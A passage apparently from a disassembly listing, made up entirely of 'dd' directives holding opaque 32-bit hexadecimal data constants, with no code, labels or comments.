		dd 8017F77Ch, 5C04F0DBh, 0CEEA2B35h, 3C8A2AC8h,	6AFA4895h
		dd 9D890B02h, 5C291FD9h, 0E678F364h, 8C1CEFE4h,	0C9420411h
		dd 5DAE13ABh, 1327D9F3h, 1DECF053h, 18560041h, 22118253h
		dd 3E00CFFCh, 0C74B40A7h, 9D59B4D8h, 0A5DB00A9h, 0B472970h
		dd 0DE8BC2A8h, 141160B7h, 5F531680h, 0F9B7D4E9h, 0A1C1C2EFh
		dd 8916BB03h, 0DF2926D8h, 4055CEB9h, 8120219Bh,	2FFBDD61h
		dd 0DBA85534h, 5690807Dh, 500A689Dh, 0CD8E5E0Fh, 9014F481h
		dd 65761197h, 7AF008FDh, 49AD003Ch, 3527C051h, 940BE743h
		dd 5CC8EEFAh, 0B57F52F7h, 33D300FAh, 137B5622h,	44D87E4Bh
		dd 22814B0Fh, 5D128F1Eh, 6C958EC6h, 8116B18Eh, 44A9A324h
		dd 0AE3E30F7h, 0EF74EE09h, 8E0077AAh, 0FF6A33C0h, 678D49Bh
		dd 1693941h, 2908D282h,	0C484BE32h, 0B581A415h,	0B805570h
		dd 280525BDh, 40113FE5h, 0B8F4B027h, 70E65106h,	3DE705A0h
		dd 0EB71E41Eh, 0F5951EC0h, 225C8A2Ch, 0C03F219Ah, 250A9CD8h
		dd 1BE35D82h, 0A4EF4209h, 2F1D7914h, 2EC52810h,	647F5B12h
		dd 826EC9AAh, 3060DB34h, 4FB8508Bh, 84E4FCFEh, 1E3608C9h
		dd 0C82BFA17h, 14D19304h, 800F05h, 0EC8ABB27h, 8B2F1F2Ch
		dd 1273ECD1h, 0B9299DB5h, 8C098AADh, 853AC827h,	881C4A6Dh
		dd 0C0B587BEh, 69F80788h, 98F70AF9h, 0FACB06h, 0D1EBB09Bh
		dd 0F99D3DBCh, 0C30E6D7Bh, 4EA1EC12h, 0B3B3AE5Eh, 2C8822ABh
		dd 0BD6E57h, 7A99F704h,	0C4500B42h, 8FC8DE01h, 0B9FF2F15h
		dd 0AACA0861h, 631AECE8h, 20E6F537h, 5D9D0109h,	0A9EC5F15h
		dd 0EDBD230Bh, 0C4C75C02h, 0BF664142h, 0A5F55088h, 62FE1942h
		dd 0D94F7E9h, 68075FF4h, 518B9253h, 0A1E5D130h,	95A4906Bh
		dd 7D2044F8h, 225C9E05h, 7ABF8EA2h, 0A8305A85h,	0C3AA13Eh
		dd 55D7A3Fh, 4FC513F8h,	2EA58DAAh, 46E34020h, 21604A0h
		dd 0EF8C77A8h, 16A6A5C4h, 776F2E0h, 0E37B8613h,	8D290802h
		dd 124CDCB1h, 5FA6F7F9h, 0CF85749Ah, 0BD12AAD9h, 21C08AFDh
		dd 0BFE5AF44h, 0C709A77Ah, 80EA18h, 4DFC8450h, 0B95F1709h
		dd 19A41B2h, 2F29C985h,	0B71B8027h, 91187D0h, 24021994h
		dd 775C2619h, 60604D52h, 0B4655D39h, 907143Fh, 5EC0B122h
		dd 0E5043A56h, 0AF42C780h, 6FEE8953h, 5B904A55h, 4E1238B3h
		dd 0B51DB983h, 0B126ABEh, 7569ED94h, 26738B89h,	0A4007CDAh
		dd 169B0099h, 880D63C0h, 8026BD97h, 160EF35h, 145B698Dh
		dd 817920B2h, 0D22B6861h, 1143B88h, 29F122C4h, 2F186079h
		dd 0F64FD83Fh, 388EE096h, 0F1FD1327h, 0BB73B092h, 5032720Bh
		dd 7000DB45h, 0FD1EA033h, 0AC0035C4h, 34F7818Eh, 37070273h
		dd 13418529h, 44DC9CD7h, 524C6062h, 2B911055h, 0BF925F3Fh
		dd 0D2A8BCF2h, 3197104h, 4C6A9DEBh, 0AC0E1FD8h,	80D438D5h
		dd 0FEC317B8h, 803AB1F9h, 0CB5B5AA4h, 0FFE8C721h, 7AE6E14Ah
		dd 276170E0h, 899C5C07h, 0D109B99Dh, 46CC20Eh, 0EB5DB0FDh
		dd 4B4A0E6Fh, 3B61F441h, 2F0760AEh, 8A6AF828h, 20CDF140h
		dd 27D89C97h, 0C05B0421h, 1F3822D0h, 42962CCBh,	0D33FCF03h
		dd 0B66025Fh, 25335037h, 0CCE412C9h, 3DBD011Dh,	494D5EE5h
		dd 25DC377Ch, 0BEE9B8BEh, 6EAF143Bh, 0F893003Ah, 0BEDBD0BFh
		dd 98EA51B3h, 60DC536Fh, 99D33D5h, 0B1B7314Ah, 0C6E38101h
		dd 2F7CD5C9h, 96F6B675h, 0E3BF53A0h, 1CE58312h,	1AB88h
		dd 3E4D7E0Dh, 4FC20815h, 80BA761Dh, 85CD440Fh, 96ACB50Bh
		dd 0F0BC6216h, 0D08A0378h, 0C46AFF83h, 7B49B291h, 2C07DF1h
		dd 67CAC068h, 0DFE1E272h, 0C93F3960h, 4DB57879h, 3F58C07Eh
		dd 0E82239A2h, 0DFE20011h, 28B4D94Eh, 43045DF7h, 0F3FF290Fh
		dd 0F3AA53EBh, 97FC4B3Ah, 9617B9D6h, 0D9FB6D35h, 9BD3E71h
		dd 0FB2AFE96h, 0A9630B83h, 6075DCF9h, 2E62D1CDh, 2021A83h
		dd 4F5E6DB3h, 15091E6Ah, 9016D709h, 7EAB5B5h, 0A4324B2Dh
		dd 2E9EA16Fh, 9BEB5625h, 23E0C07Bh, 0E4DAC57h, 0F215C894h
		dd 74C0D174h, 0B679795h, 99450700h, 0E24EC6D8h,	0A9002D9h
		dd 5FFC091Eh, 0B616C5Eh, 786D79BDh, 0FD6AF14Bh,	59E2AE1h
		dd 2BBA75C9h, 7C476CDEh, 8B95006Eh, 25747E22h, 5CE214FFh
		dd 8A00B7F7h, 6E8096AAh, 0BD5B94C0h, 40070F64h,	43EEF723h
		dd 678281B0h, 5F7F2D0Ch, 380FF254h, 0F70A986Eh,	4D9A973Bh
		dd 72D1B7A9h, 51A85244h, 14A43B80h, 0DF037337h,	806051E9h
		dd 0A50499F5h, 7F21CD2Bh, 98BED684h, 0B58481CEh, 0FE903A59h
		dd 0F80C5132h, 0E2283E2h, 2D7E58D8h, 7FD103DCh,	2DB501DAh
		dd 8E0F05F4h, 0E192A4BCh, 59A77A8Dh, 4D4391B4h,	2B90032Fh
		dd 0F8260FEh, 4AE6B966h, 0B7351261h, 6D8116A6h,	6E2A90DAh
		dd 0F65600DEh, 0CC5A5751h, 1109E635h, 5E16F585h, 0B84AFBFCh
		dd 64BDB4F8h, 0F3273EA8h, 87DFEEAh, 61013211h, 33D8D09h
		dd 15BE8F6Bh, 12068F0Fh, 90E2FAB7h, 4E10458Eh, 13505BC8h
		dd 1C73223Eh, 0B046C4F6h, 0C882C46Ch, 12B75F5Ah, 0C7535F6Fh
		dd 0ED4EE58h, 0B207224Ah, 0C789C193h, 4B0F68AEh, 76E9718Eh
		dd 3D2AA0F8h, 93475DABh, 870210BCh, 0A502D5FEh,	589758Ch
		dd 0CFF5C785h, 0A68510CBh, 0A01FB6D2h, 2FDB9C9Bh, 87D0126Ah
		dd 2F81BD12h, 7184B4F3h, 8A9EEA04h, 0F1680D80h,	0E0CD217h
		dd 0D3759D09h, 97CF0481h, 0EB1B03BEh, 4BB75B98h, 78DBCDDFh
		dd 88FE8309h, 50649934h, 20814C9Ch, 7B955B71h, 1C189C0h
		dd 0F8E4645Eh, 2ABBC9C0h, 2EDC9D42h, 79872140h,	7B130026h
		dd 8680BB3Eh, 9276639Eh
		dd 9694A409h, 0C72DD1F8h, 405E8981h, 401831E6h,	0D94B8A07h
		dd 3A925ACDh, 2E2EF1FBh, 0F7B0A3B7h, 0F101E07Fh, 0D3ADBB1Fh
		dd 0FF2C05D1h, 0B0EAB74Bh, 7F08F8F6h, 0A6D3042Fh, 0BC24EB88h
		dd 316E4E29h, 8F17953Fh, 12F8C831h, 39541500h, 80B93B8Ch
		dd 0C7404BDFh, 0C6C76256h, 0CE955FCCh, 0D401B63Ah, 480462FCh
		dd 2521B9F0h, 0F301D1B2h, 0A59A0E27h, 6EE6EE94h, 0ABD6E501h
		dd 0AD292D26h, 24E68F8h, 0F4FF140Ch, 905EC999h,	1846D6h
		dd 0B62B3C78h, 5EBD0135h, 0A9AEEDE9h, 0E85E0076h, 0EC4103A9h
		dd 1302800Fh, 88DE8B1Dh, 23000458h, 9009F51Bh, 25A22EDAh
		dd 0C279EBD2h, 0A007D3A4h, 5FB4CD98h, 1CACBCB9h, 0EF0E008Ch
		dd 79013164h, 3458C0C8h, 4772CF42h, 0D20DB1Bh, 4F4D1880h
		dd 12CCB1A8h, 57EA5F86h, 319796F1h, 966921EEh, 0DCF82E60h
		dd 0E72E99C3h, 79EC8A98h, 0C10CCD5Ch, 61D19CBEh, 4E6FA22Eh
		dd 4B3FAE81h, 0FCFEE6AEh, 0A8CB5402h, 0FF9802A6h, 43003A44h
		dd 0A700564h, 0FCDA62FEh, 0E1B51189h, 0BEB65A04h, 2A301DB2h
		dd 0F0D30147h, 0BFD70EDAh, 8B50F1B9h, 0D5511EDBh, 6F4BA916h
		dd 40B09AF7h, 9F134D99h, 0EEB8DDEAh, 0DDEC1625h, 0A412AB00h
		dd 0EDBE148Dh, 8C0F1A96h, 63D71D02h, 0D9348D7Ch, 5F389CFEh
		dd 0AFDB964Ah, 35D1C280h, 0BC2CB4CDh, 88E524B6h, 0D7B34109h
		dd 7E5E71B2h, 0B7132210h, 1083E727h, 815E1801h,	3E13DDC8h
		dd 0F02A58C9h, 2A5E71BEh, 0B4A03BF7h, 895B725Dh, 0A36AB1A1h
		dd 30718DA8h, 0F00AA63Bh, 270EA9DDh, 2C4DB9A4h,	0C0701D64h
		dd 9C02B096h, 86B150DEh, 0D390FF7Dh, 70005119h,	0A85C7366h
		dd 80DC81h, 0BF329011h,	0EB9372Ah, 0D009345Ah, 4B6A741Ch
		dd 0B77D0B60h, 0DA8653BDh, 0D003AD3h, 0C6A9859Ch, 40029E4Dh
		dd 5DDCACF8h, 4793EA2Eh, 0FE4C5FC1h, 7B2F8680h,	1FE96FA9h
		dd 7B0CE2B5h, 70D77014h, 534BCC02h, 0D513B367h,	19F90BC9h
		dd 25E9B4Ch, 0E1286E78h, 795DD739h, 0C3B00F92h,	0A0EEC263h
		dd 2B7FD692h, 42745426h, 0D4791935h, 0F45DBD0Eh, 29570F08h
		dd 524C32B5h, 27FB7E5Bh, 907E21B1h, 25740EDEh, 54263D9Ch
		dd 0FA4ED441h, 9D890E81h, 9068496Fh, 0BF5B18DDh, 1FBA0958h
		dd 0D8695077h, 0BC60EC66h, 904BD098h, 0BF8F27EBh, 59B6B9C3h
		dd 0C0482416h, 716C26E1h, 0BDC929CEh, 0FA8ABD18h, 4AA39B97h
		dd 0D98B3150h, 0F857FE89h, 0CE599DE8h, 3B151254h, 2621AA80h
		dd 0BE41D1FFh, 382F1171h, 6FBD6B63h, 0FDB2605Ah, 7A02BB2Eh
		dd 6A288022h, 0DC64F402h, 0B32F204h, 9DBD959Dh,	5014A14Ah
		dd 0F58D3128h, 0B2DD024Fh, 5D80296Ch, 0DA5CD0Ch, 93CA5A3Eh
		dd 0E90987D2h, 0C144797Ah, 5E21B205h, 5B6480B4h, 12B516EDh
		dd 27E4D3Eh, 1D123D02h,	9780553h, 4FDE0475h, 0AF2C5432h
		dd 41F6B974h, 17A79BA0h, 14AE385Ah, 9C175AA5h, 763FAA5Ah
		dd 0B09FD84Fh, 2ABA4002h, 5693C264h, 28DC4974h,	26919C00h
		dd 976FBB3Bh, 766190B2h, 53601004h, 0D8614B58h,	0DF248178h
		dd 1112518Ah, 0D555590Bh, 7BF96614h, 6A3EC9E2h,	0BC15EDDAh
		dd 9D030CC8h, 0B5630501h, 902B3122h, 0CA024B54h, 10F32F59h
		dd 0E0B0DE45h, 20704AE6h, 0BC0568D9h, 22141106h, 972671E4h
		dd 0E2D55825h, 21AB9208h, 6B27F9FDh, 2680F898h,	0B9CE2FE7h
		dd 0A9910BA7h, 4ED11405h, 492FDFBAh, 10D7FE55h,	8401E9C9h
		dd 0C3E78100h, 8B505184h, 4972C6D1h, 8844D703h,	0C5B51709h
		dd 890CD41Fh, 533F3h, 30C52A25h, 9DAFA723h, 0F84EDB72h
		dd 0FA88D7B8h, 66412244h, 6FFEF8BBh, 0E91791E6h, 1097A24Dh
		dd 335A2F55h, 85E12911h, 8D8F8D20h, 0CF1703FFh,	11287BA9h
		dd 0A5517926h, 8D748915h, 4B56790Ch, 42C21AFFh,	8B7502BEh
		dd 0C20C5EFAh, 823D3296h, 1F0E925Ch, 9DA5E8F7h,	882559EDh
		dd 4A5EED92h, 19C8DDDAh, 0E228E0CEh, 273CA4E3h,	1B847DB9h
		dd 5CBFB8FCh, 16E8806Bh, 7338FAh, 81EB316Eh, 486311D3h
		dd 94FC3E31h, 642E3065h, 8CA2B3h, 32B12447h, 1202AC16h
		dd 0FC6C9B56h, 4E2922BCh, 8088DFBAh, 0D8FB03Fh,	0F1A326ACh
		dd 0F67860EEh, 0E6166C73h, 52AE6625h, 0D6ABB658h, 0D080A89Ah
		dd 0EA32BD71h, 165C524Ch, 64FB890Fh, 0A88EADA1h, 0E5018C18h
		dd 0DCE635B0h, 0A22FD88Bh, 1A2A87Ah, 9C97E4E3h,	65848B37h
		dd 0D9A76A98h, 0A05AA64Fh, 64FAEAh, 85F14692h, 0CF81DBACh
		dd 4FA6185Ch, 9416F81h,	0D5BD3300h, 0D48E304Bh,	0ECAD9CD1h
		dd 722DD060h, 6DE6186h,	0C000FC2Fh, 0A638574Fh,	3B510012h
		dd 0BC50F30Ch, 0D14F61B2h, 8B7FA6C9h, 539F00B8h, 41937E7Bh
		dd 4B2C736Ch, 25CE8A57h, 0F6895E7Ah, 6A1C609h, 0BBA918BFh
		dd 0FD6116CDh, 492AAE7Eh, 0B469DA80h, 0B69852B8h, 5BA88C17h
		dd 997AAAh, 0FB118D7Bh,	25F3511Ah, 0E6C5EB87h, 1704580Eh
		dd 17B6FAEh, 9C542239h,	0B930CD42h, 1FB3255Bh, 459915Eh
		dd 0F27A7Ah, 63404F3Ch,	1264258Ch, 0F2CFE380h, 57D88C1Bh
		dd 929D7129h, 85604B69h, 0B907EDF1h, 57D2B02Eh,	60087BEDh
		dd 405B1C01h, 44FBEF81h, 0FBBF344Eh, 0B85CADFFh, 47C25040h
		dd 0D1A04BFBh, 2E01490Bh, 0D2A2D8F7h, 50BF45F5h, 0BF1266A4h
		dd 3104BC90h, 10BCF086h, 5D070CD2h, 0BB0490E9h,	352C563Eh
		dd 0C41E31ACh, 241EE12h, 16BD7E2Eh, 974ECC5Fh, 0A963AB51h
		dd 0D468E055h, 3BA20042h, 0E4ACBA60h, 66764661h, 0FD8CBE25h
		dd 412B2880h, 31BE3BBDh, 4BFE97DCh, 8A099FACh, 599653DCh
		dd 9B61818h, 0AD8486D6h, 9B618D5h, 3129258Dh, 57F25Ch
		dd 0C94D4B96h, 605BDF82h, 0F7814600h, 7AF4830h,	6E96137h
		dd 0EDDD0902h, 0E33FC076h, 6B5CF9F3h, 0D35F00EAh, 1303BBC8h
		dd 69685C9Dh, 687BDB25h, 2B4BC384h, 0C895DAEBh,	702C01Bh
		dd 8E01DED2h, 892FA141h, 3725558Dh, 801E2A2Eh, 0F3497FD6h
		dd 5B5D3FFFh, 0F8A93680h, 26A19529h, 9079EE95h,	9B895F51h
		dd 9CE4C07Fh, 137401B2h, 0FB9B478h, 190BB58Eh, 0FCC29E12h
		dd 18EBC55Eh, 0EE775B7Bh, 2D103F9h, 8DD969C9h, 5F16BCCCh
		dd 428061B8h, 0E74C9644h, 3C00977Eh, 9D7BC8CAh,	5788E17h
		dd 8B02E9BEh, 98EBF8h, 21A50029h, 6E03D5D9h, 7FFD0141h
		dd 9CF14A4h, 29495933h,	0EFBD0A78h, 2E7962E9h, 68031877h
		dd 0E70B1270h, 5151A17Ah, 0DB088FE4h, 0D3829BD5h, 0BD730FBDh
		dd 0D02F6EF1h, 0AC04EBFBh, 0D6AD93F1h, 210088BCh, 8D3B80E6h
		dd 62A99C51h, 2BD1D64Fh, 80D7D10Bh, 0CEB371AEh,	0BA1D2114h
		dd 0D418A11h, 8409A153h, 0D6565111h, 5F476DDCh,	0D69D7619h
		dd 250B1D46h, 995711E3h, 0A697C240h, 61D14BE1h,	79C0AECDh
		dd 2F6DA4F2h, 0E2025D88h, 0FA5C0E8Eh, 0A570825Ah, 73D35604h
		dd 314A27AEh, 32BA59ABh, 2AE911BDh, 0CDD923A5h,	0C927F42Fh
		dd 0B95FD204h, 1C88AFD2h, 451482C0h, 68250588h,	0E258BED9h
		dd 89A90064h, 41976F6Eh, 6C4E0008h, 676130F3h, 68093665h
		dd 0CDDD99F0h, 90CCA57h, 1351A183h, 0DDF24800h,	13B50A61h
		dd 0CC3F767Ah, 0B05EA06h, 0B7043A38h, 3E0ACBEAh, 0F39DF07Dh
		dd 1B4B7897h, 0EB779D04h, 21FCCE9Eh, 39060380h,	0F00F693Eh
		dd 0C3969B90h, 0C155E7EAh, 0BF8AD6Ch, 44895F0Fh, 0AAFDB7ABh
		dd 0F8D274A3h, 97928287h, 2634E08Ah, 0A690028h,	14C790Dh
		dd 0E295F9B5h, 8362DF38h, 4EFC1574h, 0BB2500E0h, 7A2DF282h
		dd 8E239A97h, 0FF08EBD6h
		dd 0F94AEF94h, 15B2DBF6h, 82214631h, 0F2011C33h, 0B341F020h
		dd 0CA3FD01Eh, 5521C900h, 4459708Ah, 53892527h,	0EA68EF6h
		dd 5D0BABA4h, 577A5619h, 4208FE25h, 38C07420h, 0EBBF65BDh
		dd 0FD6C13E5h, 0A9132108h, 6FF00530h, 0F9204B81h, 2530E8B3h
		dd 5E0822D0h, 8D0F58B8h, 4F3F5997h, 49C09360h, 0BE002F6Eh
		dd 0EBCF6F56h, 0BD02B16h, 0FCD1AB17h, 3524BA57h, 710F82D3h
		dd 0EA7D9D33h, 2FC45C27h, 0D5DAA45Bh, 0D9B3BC61h, 4BBD2E54h
		dd 820E1F07h, 0E475C9BEh, 7451255Eh, 0DA60EFD6h, 0F636998Bh
		dd 4F2003B7h, 0F14443E4h, 1A7995D8h, 6E5BC8A9h,	2909EB62h
		dd 56054A72h, 31297950h, 0F71D40BAh, 7CA50F70h,	0A26D9D86h
		dd 0F7850A40h, 0B4050230h, 9149ED74h, 1F8AD943h, 0A5AD65F5h
		dd 284086CDh, 0A1DB8C59h, 1B6C8AA2h, 5EB2E592h,	0EE1287C6h
		dd 0D87481DEh, 0D26A3F1Bh, 7B40FFA5h, 0B1910BA1h, 162D94Bh
		dd 1FDCA64Ah, 368A2E52h, 793A17A0h, 0B2741302h,	5196E849h
		dd 6A9A0011h, 0DC81CBBh, 7F013F09h, 2193518Ah, 45D780F3h
		dd 0BBFE7529h, 961F4007h, 5439585Ah, 809DC46h, 57BA075Ah
		dd 57402C95h, 4F8D10FBh, 83BFB048h, 6DDD5B4Bh, 0D6A81369h
		dd 0ED0B8501h, 72A449C6h, 5ED9DB42h, 6D485167h,	5275C09Fh
		dd 4E7CD66h, 17CB314Eh,	1D30EA3Ch, 0EFDF81h, 5B66A9D0h
		dd 3BBF5196h, 0A7BBB17h, 29F47A13h, 9B719D8Bh, 0CFBF668Ah
		dd 5228E027h, 185F6E56h, 611431DEh, 12823F96h, 12A4512h
		dd 0A7FB75BBh, 3D602F6Ch, 0AC3061BDh, 9F709D17h, 0DD98125Eh
		dd 6C441C90h, 9C8C84A1h, 0D23DBC1Ah, 4F8819E2h,	0FAE3F592h
		dd 888E5F7Dh, 9B88113Ah, 0A5BD00A2h, 4D0B257Dh,	0D607D809h
		dd 403CDF60h, 0C65F1851h, 0EFFB57C2h, 0BF59AF71h, 0FF8B857Fh
		dd 884E7DCFh, 1000F956h, 943DFD3Bh, 989AFB8h, 0DE8A4324h
		dd 0A038235Ch, 0ABE92528h, 3EDCD5C2h, 0CD0102DCh, 0C18BD4C8h
		dd 0C4D16D75h, 0C5EAB8CEh, 7BBA50F5h, 9A610513h, 7AAF5DCEh
		dd 0F9280163h, 8F4296C2h, 4B95D370h, 0C042FFB9h, 55DDBD23h
		dd 1A274FE4h, 0B2875DC2h, 0B86B74E3h, 5FB64EE7h, 0C632B2E7h
		dd 5022C1F7h, 662987D1h, 0F8B46012h, 61CA154Ch,	0C2FC4B91h
		dd 0B42A92DFh, 5E975B7Bh, 0AB4BDE00h, 0BBD252BBh, 1DFC0B24h
		dd 7ACF9880h, 0D99FF1D8h, 0EA5B92AFh, 3D90809Ah, 9AD391C0h
		dd 404B97E8h, 83F31CDh,	0FF092BDFh, 0F15F07D1h,	0C51479C9h
		dd 9E43DF76h, 25412BDDh, 29521743h, 2FEC96Ah, 845F02AAh
		dd 85227A8h, 50091A58h,	9E1357B7h, 3E1395E1h, 15F252A6h
		dd 7327684Ch, 0CB690DFh, 0E3AE01BCh, 0FE38BFD0h, 0E982D880h
		dd 1FCE854Bh, 254F2424h, 0CFE0F66Dh, 0FC2B9A2Ch, 0B3B95A99h
		dd 0B7140058h, 4F72BB40h, 5A8AE4A6h, 0B4008853h, 0F3FE7D00h
		dd 0B9A1232Ah, 8AFF48C0h, 0BB5A8400h, 615F31ACh, 0A48994A2h
		dd 0FF4DD7Eh, 8E1E4990h, 363007F6h, 94E75062h, 484B89FEh
		dd 26264EDDh, 0FCDCBDB0h, 58666131h, 4E363A40h,	76301BA2h
		dd 9F67E06h, 0FC7C02E2h, 0F3213E7Bh, 46DC1F80h,	48E76ABh
		dd 5F4DD9A9h, 0BDBD2F5h, 2FB5E575h, 0D8ACD579h,	58CB821Fh
		dd 0D6FF5E74h, 16031B46h, 0EF93AC5Dh, 0F1DA090h, 80218250h
		dd 6AA9C304h, 8BB57FFh,	0E0271626h, 0BC2C497Ch,	0C4DF4E7h
		dd 0E6B312A8h, 538270F3h, 9857B05Fh, 951C89Bh, 299A55B1h
		dd 8995D288h, 7DF470E6h, 913A9E2h, 9160E85Fh, 0C2658427h
		dd 1A00E82Bh, 0E24048D2h, 5319254Bh, 5F966959h,	0BC4004E9h
		dd 0A9570954h, 9B5EBA2Fh, 9C26286Fh, 0F4F892C1h, 578AF985h
		dd 9310B04h, 0A7F37C2Bh, 0EF81555Ch, 77E949E1h,	59BB5710h
		dd 125EDD07h, 8872665Fh, 5C54E228h, 428EAE5Dh, 0F37DC29Fh
		dd 89C3250Bh, 0CFB6434h, 5212D2B9h, 128CF451h, 0D98B3084h
		dd 0E9A93F64h, 81005691h, 7D9D41F7h, 7C9B9757h,	0C3EB4A09h
		dd 117B794Eh, 10A44C1Bh, 984B08D1h, 0EF348081h,	615C20B8h
		dd 0B58D0922h, 628D4313h, 73F13BB4h, 2D5DA72Eh,	59D17BFEh
		dd 734181Bh, 1E157C11h,	58FE16A2h, 72B9DB09h, 0F4E35C0Eh
		dd 11528E1Ch, 0A5178A80h, 94FA7B0Fh, 0F0ED40B6h, 0DF01A4D4h
		dd 4E2BBD0h, 12F5B9Fh, 0BD8D0187h, 0CFD2BB02h, 6E05206Eh
		dd 0A257340Ch, 0F0A20097h, 3AB9CBD3h, 4939038Bh, 5B1ED780h
		dd 1877B88Ah, 0B5231569h, 9F93D1E6h, 25138C58h,	1AFCB2B9h
		dd 0F304116Ah, 8BBD7A6Ch, 0A8D3FDB4h, 0F9680B45h, 0DFDC2F82h
		dd 0ED1D170Bh, 0B369E0BEh, 9BE86BA6h, 70741909h, 0B1708403h
		dd 172E04B1h, 0E881E9B0h, 1E14032Dh, 6632E193h,	36C569B9h
		dd 79EC4FE1h, 955C162Fh, 0C03F9CDEh, 4AEF949Ah,	1996CB1Ch
		dd 0EAF5A57Ah, 0F14FFFBEh, 0B5CA6340h, 0E01F133Ah, 47C5C851h
		dd 0A8165600h, 0ECFFBCCBh, 777A009Ch, 5A52BBEEh, 81022A44h
		dd 0CA140BC7h, 7217DD59h, 0A8AC2004h, 25C0C1EFh, 87A73F04h
		dd 3A1628A0h, 0BB387200h, 8E909DCAh, 0A59497F5h, 2E892A44h
		dd 0ABF129B5h, 7F1898Fh, 0D9EA6C5Eh, 91FA908h, 7C30E1FFh
		dd 0F81226BFh, 55F20CAAh, 0BD57B189h, 7A2380E3h, 0C62F66D4h
		dd 62DA8B21h, 0BD55049Ch, 7912018Ch, 3CDC3C7Bh,	0C4C1350h
		dd 951B70F0h, 2E1173E7h, 66C07448h, 54E5C24Eh, 0A763890Bh
		dd 81EFC6Fh, 5B093359h,	69065460h, 0B9936E70h, 0B33F78h
		dd 0FF90D43Ch, 399CC110h, 73658997h, 42BB7096h,	6D0BFC94h
		dd 6443742Ah, 0E781405Eh, 4AFE91C8h, 3B91CD4Ch,	0BED633E8h
		dd 59A5141Eh, 0C5A7004Dh, 2162AFABh, 45B2B800h,	0B6FC9B06h
		dd 0BE5E58C0h, 6561CE1Ch, 948064E6h, 4EB15B5h, 337A98AAh
		dd 40A54E00h, 5443F459h, 4CF9F03Fh, 3016978h, 88FA0622h
		dd 4C612810h, 76C614EBh, 1698588Bh, 19E80925h, 0C980B8F7h
		dd 0BCF5840Eh, 0D8A0C3E1h, 0AC8C505Fh, 0F0E25ADCh, 8C7AFD7Ch
		dd 0AA00B803h, 438E7049h, 57624F6h, 62DACCB1h, 0E2BF25DEh
		dd 92EA00DBh, 337A209Ch, 52D697BBh, 0DA114BDCh,	0C116C893h
		dd 2F13ECE4h, 8B98553h,	0D7261DE8h, 0A7007CC4h,	0FDEE107h
		dd 67569F8Dh, 0BC41C3E1h, 76AF97F7h, 80EA9EAEh,	0D7E21451h
		dd 4F211283h, 3F3F35Fh,	8D0CC381h, 58848C6Ah, 0C082DFEAh
		dd 0A6509D0Ah, 8DE20E3Ah, 967C2992h, 4D28AB0Ch,	0C47B9DFEh
		dd 0C1F9DE5Ah, 2F2B87B3h, 9589B130h, 0A61A5BE1h, 3114F204h
		dd 513460FCh, 0DEDA1D41h, 9150996h, 0BFF79657h,	7426E3B5h
		dd 0B66E9E02h, 492D41B2h, 98C35BA5h, 2AD1210h, 52509602h
		dd 0DA7774B3h, 348D5BD5h, 4695FEABh, 0CC3AABA1h, 0FE04BF16h
		dd 962D7594h, 20B889BDh, 0ACCC694Bh, 0BA8D5A89h, 6368B90Fh
		dd 220BF27Eh, 66090474h, 7898F0BFh, 7DA50096h, 0C3800BEDh
		dd 855E8D32h, 0E24E947Eh, 0F205F12h, 0CF275Ah, 42E9FE33h
		dd 38A53658h, 8C3D0431h, 5034C309h, 0FC02A252h,	5708B369h
		dd 0BB0600FDh, 218A0D2Dh, 2879D9B7h, 0C4295D2Ch, 0ADA1E94Eh
		dd 37015176h, 39BEC817h, 4DDB6F61h, 0BC1B3C80h,	0A0BADAFh
		dd 0B61C469h, 9864DCA2h, 1F9D1160h, 0FCF95497h,	96831A4Dh
		dd 8B87C0EBh, 8BA1F1CBh, 7AFE6561h, 8B8B9AE6h, 58494A7Eh
		dd 3DE92526h, 5BF64356h, 0D6DBACC0h, 0F3793AAFh, 12B725D9h
		dd 70C43E79h, 6A84AE56h, 425DAB3Ch, 0C2CD2D04h,	0C8CD5F63h
		dd 79601A64h, 0AE0B8A93h, 44AF5801h, 0C16C00EEh, 56D3BA0h
		dd 0B54CF5EFh, 16EF4E89h
		dd 0AC03BD4Bh, 0F5268C15h, 91065C7h, 2A44878Bh,	73B8ECFCh
		dd 6791BD30h, 4BC2BF0Fh, 3C7E8D61h, 9EC912C9h, 0F1439F3h
		dd 0E24A3682h, 7A33004Ah, 13990E44h, 0F6A60094h, 37F4ED61h
		dd 325F60D3h, 0E04A07B3h, 0A55A416Bh, 4E870D87h, 0DF9D23A2h
		dd 51B55B70h, 0EA0454EAh, 0FCFE7CE4h, 0C8C59AEBh, 61E7C01Ch
		dd 7B041EECh, 63D6ED1Bh, 166502C1h, 4CD7B302h, 0DC3194A7h
		dd 3A07DA00h, 0B7DBE049h, 1FBA9766h, 0EE40D2EDh, 2673A6Dh
		dd 2B2601F4h, 35DDAF40h, 801C9113h, 0E0AEBB4Ch,	367800D6h
		dd 0DF817A05h, 512E5C31h, 0BC98108h, 36C25F62h,	0F86FFB5Dh
		dd 0CD00F67Ah, 6B691B77h, 18019F4Ah, 63958D09h,	9716A1BFh
		dd 2AE914CBh, 52CF800Bh, 9D8F2D74h, 0AAA47059h,	3400E36Eh
		dd 6C13D118h, 27B8C286h, 0D101552Dh, 0B76D6B49h, 6A6E441h
		dd 0B0415FCBh, 2C2D1184h, 0D6D75E38h, 65C035BCh, 166EE275h
		dd 30157FD2h, 9DC58F1h,	0BA8E8900h, 0DEFAE468h,	0A02EED26h
		dd 29F5F88h, 5F8776F4h,	1C6453EDh, 0FFD8AB65h, 9F30936h
		dd 0CBA30585h, 308A9D31h, 7C6D1ADDh, 515A40A7h,	0D9002EB3h
		dd 3A80DFD4h, 13A1ED3Ch, 0B6842DE3h, 301AB2C9h,	89013449h
		dd 0D7130203h, 0C671B529h, 0F412A66Bh, 0E5E6BE70h, 5B030930h
		dd 0EC602F72h, 0DF09CB81h, 7970DDD2h, 6BD14E1Bh, 5580F82Ah
		dd 6E2B89FBh, 6F920422h, 0BEC1744Bh, 98543DE7h,	0C02D9EEEh
		dd 19EE0DF1h, 904CB741h, 7BAA0C44h, 0CD7300CEh,	5297592h
		dd 4CB70363h, 0B8C09F95h, 0B325C016h, 59567B64h, 14E181Bh
		dd 0EAF50205h, 2F89777Bh, 0E14C3C28h, 801BDE7Eh, 54DAF601h
		dd 0B5091734h, 9D3BD005h, 4EB704F5h, 0E910958Dh, 0FE256426h
		dd 70C15814h, 5B5C8289h, 5EEB8180h, 977FF353h, 603D3996h
		dd 12519623h, 40F568B4h, 0BB1E6111h, 74046C70h,	33BCE8E9h
		dd 0A2BCEE49h, 3A05F600h, 4561DE4Fh, 8BB39773h,	7C2AB9B1h
		dd 2AE5D2B3h, 3B7A3Ah, 209F7F4h, 5C87F5D1h, 945A14CDh
